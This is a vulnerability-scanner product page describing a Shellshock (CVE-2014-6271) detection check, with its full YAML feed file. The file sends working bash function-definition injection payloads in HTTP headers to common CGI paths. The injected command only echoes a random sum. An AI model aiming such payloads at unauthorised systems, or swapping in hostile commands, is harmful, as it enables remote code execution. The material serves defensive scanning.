GNU Bash (Shellshock) — 1 vulnerability check

noctis ships 1 vulnerability check for GNU Bash (Shellshock), covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

GNU Bash Shellshock RCE via HTTP CGI

CVECVE-2014-6271
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/shellshock/CVE-2014-6271.yaml

Probes common CGI endpoints with Shellshock payloads (a "() { :; };" function definition followed by a command) in the User-Agent, Referer and Cookie headers. The injected command makes bash print the sum of two random numbers; finding that sum, which is never sent in the request, in the response confirms unauthenticated command execution through the CGI environment.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{current_cgi}}
  3. Parses / computes the next value with a Rhai script
  4. Checks ua_resp.body for NOCTIS[0-9]{7} → finding QoD 97: Shellshock via User-Agent header on …: bash printed … (…+…, a sum never sent in the request)
  5. HTTP(S) request GET {{current_cgi}}
  6. Parses / computes the next value with a Rhai script
  7. Checks referer_resp.body for NOCTIS[0-9]{7} → finding QoD 97: Shellshock via Referer header on …: bash printed … (…+…, a sum never sent in the request)
  8. HTTP(S) request GET {{current_cgi}}
  9. Parses / computes the next value with a Rhai script
  10. Checks cookie_resp.body for NOCTIS[0-9]{7} → finding QoD 97: Shellshock via Cookie header on …: bash printed … (…+…, a sum never sent in the request)

References:

Feed source — tests/vulnerabilities/shellshock/CVE-2014-6271.yaml
# GNU Bash Shellshock RCE via CGI — CVE-2014-6271 / CVE-2014-6278
#
# Bash evaluates environment variables starting with "() { :; };" before
# treating them as function definitions. In a CGI context, HTTP headers are
# mapped to environment variables, allowing arbitrary command execution.
#
# Detection method:
#   Inject a function-definition payload into User-Agent / Referer / Cookie
#   whose trailing command makes bash print "NOCTIS" followed by the sum of two
#   random numbers ($((a+b)) arithmetic expansion). The request only carries
#   the expression, never the sum, so a page that echoes the request (debug
#   page, WAF block page, honeypot) cannot match (#2370). Finding the computed
#   sum in the reply proves bash executed the command (QoD 97).
#
# CGI endpoints tested: common subset (see OpenVAS NASL checks).
uid: 25fa4a7f-6271-4730-acb9-5c823d8abe14
name: "GNU Bash Shellshock RCE via HTTP CGI (CVE-2014-6271)"
description: |
  Probes common CGI endpoints with Shellshock payloads (a "() { :; };"
  function definition followed by a command) in the User-Agent, Referer and
  Cookie headers. The injected command makes bash print the sum of two random
  numbers; finding that sum, which is never sent in the request, in the
  response confirms unauthenticated command execution through the CGI
  environment.
cves: [CVE-2014-6271]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.15
tags: [bash, cgi, rce, shellshock, linux, intrusive]
services: [http, https]
author: noctis
version: "1.1.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-6271"
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-6278"
  - "https://blog.qualys.com/vulnerabilities-threat-research/2014/09/24/bash-shellshock-vulnerability"

steps:
  # Two random operands; bash prints NOCTIS<a+b>. Only the expression is sent.
  - id: build
    action: script
    store_as: p
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      #{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b) }

  # One loop group per CGI path: the three header probes run for each path.
  # Results are reset each pass so a failed request leaves no stale body.
  - id: init
    action: set_var
    var_name: ua_resp
    var_value: {status: 0, body: ""}
    loop:
      over:
        - "/cgi-bin/test.cgi"
        - "/cgi-bin/status"
        - "/cgi-bin/env.cgi"
        - "/cgi-bin/printenv"
        - "/cgi-bin/test-cgi"
        - "/cgi-bin/info.sh"
        - "/cgi-bin/index.cgi"
        - "/cgi-bin/login.cgi"
        - "/cgi-bin/vulnerable"
        - "/cgi-bin/stats"
        - "/victim.cgi"
        - "/cgi-bin/shockme.cgi"
        - "/cgi-sys/defaultwebpage.cgi"
        - "/cgi-bin/php.cgi"
        - "/cgi-bin/bash"
      var: current_cgi

  - id: init-referer
    action: set_var
    var_name: referer_resp
    var_value: {status: 0, body: ""}

  - id: init-cookie
    action: set_var
    var_name: cookie_resp
    var_value: {status: 0, body: ""}

  # ── Injection via User-Agent ─────────────────────────────────────────────
  - id: probe-ua
    action: http_request
    method: GET
    path: "{{current_cgi}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 8
    headers:
      User-Agent: "() { :; }; echo Content-Type: text/plain; echo; echo NOCTIS$(({{p.a}}+{{p.b}}))"
    store_as: ua_resp

  - id: check-ua
    action: script
    store_as: ua_hit
    code: |
      type_of(ua_resp.body) == "string" && stridx(ua_resp.body, p.marker) >= 0

  - id: match-ua
    action: match
    source: ua_resp.body
    pattern: "NOCTIS[0-9]{7}"
    condition: "ua_hit == true"
    on_match:
      finding:
        confidence_delta: 0.80
        qod: 97
        evidence: "Shellshock via User-Agent header on {{current_cgi}}: bash printed {{p.marker}} ({{p.a}}+{{p.b}}, a sum never sent in the request)"
      stop: true

  # ── Injection via Referer ─────────────────────────────────────────────
  - id: probe-referer
    action: http_request
    method: GET
    path: "{{current_cgi}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 8
    headers:
      Referer: "() { :; }; echo Content-Type: text/plain; echo; echo NOCTIS$(({{p.a}}+{{p.b}}))"
      User-Agent: "Mozilla/5.0"
    store_as: referer_resp

  - id: check-referer
    action: script
    store_as: referer_hit
    code: |
      type_of(referer_resp.body) == "string" && stridx(referer_resp.body, p.marker) >= 0

  - id: match-referer
    action: match
    source: referer_resp.body
    pattern: "NOCTIS[0-9]{7}"
    condition: "referer_hit == true"
    on_match:
      finding:
        confidence_delta: 0.75
        qod: 97
        evidence: "Shellshock via Referer header on {{current_cgi}}: bash printed {{p.marker}} ({{p.a}}+{{p.b}}, a sum never sent in the request)"
      stop: true

  # ── Injection via Cookie ─────────────────────────────────────────────
  - id: probe-cookie
    action: http_request
    method: GET
    path: "{{current_cgi}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 8
    headers:
      Cookie: "() { :; }; echo Content-Type: text/plain; echo; echo NOCTIS$(({{p.a}}+{{p.b}}))"
      User-Agent: "Mozilla/5.0"
    store_as: cookie_resp

  - id: check-cookie
    action: script
    store_as: cookie_hit
    code: |
      type_of(cookie_resp.body) == "string" && stridx(cookie_resp.body, p.marker) >= 0

  - id: match-cookie
    action: match
    source: cookie_resp.body
    pattern: "NOCTIS[0-9]{7}"
    condition: "cookie_hit == true"
    on_match:
      finding:
        confidence_delta: 0.75
        qod: 97
        evidence: "Shellshock via Cookie header on {{current_cgi}}: bash printed {{p.marker}} ({{p.a}}+{{p.b}}, a sum never sent in the request)"
      stop: true

View these feeds on GitHub